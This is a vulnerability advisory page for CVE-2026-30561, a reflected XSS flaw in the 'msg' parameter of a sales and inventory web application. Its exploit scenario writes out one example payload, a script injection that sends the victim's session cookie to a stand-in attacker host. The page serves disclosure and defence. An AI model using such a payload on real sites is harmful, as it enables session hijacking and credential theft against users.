Skip to main content

PHP CVE-2026-30561

| EUVD-2026-17100 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-30 mitre GHSA-v44v-g2j3-f3rx
6.1
CVSS 3.1 · NVD
Share

Severity by source

NVD PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 06, 2026 - 14:16 vuln.today
Public exploit code
EUVD ID Assigned
Mar 30, 2026 - 16:00 euvd
EUVD-2026-17100
Analysis Generated
Mar 30, 2026 - 16:00 vuln.today
CVE Published
Mar 30, 2026 - 00:00 nvd
MEDIUM 6.1

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_purchase.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

AnalysisAI

Reflected XSS in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through an unsanitized 'msg' parameter in add_purchase.php, enabling session hijacking, credential theft, or malware distribution via crafted URLs. The vulnerability has publicly available exploit code but lacks CVSS scoring and is not confirmed as actively exploited.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Vulnerability AssessmentAI

Risk Assessment While CVSS and EPSS data are unavailable, the risk profile is moderate-to-high based on alternative signals. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious URL embedding JavaScript payload in the 'msg' parameter (e.g., add_purchase.php?msg=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>) and distributes it via phishing email to an employee of a target organization. When the employee clicks the link while logged into the Sales and Inventory System, the JavaScript executes in the employee's browser within the application's security context, exfiltrating session cookies or injecting a keylogger. …
Remediation Apply input validation and output encoding to the 'msg' parameter in add_purchase.php. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-30561 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy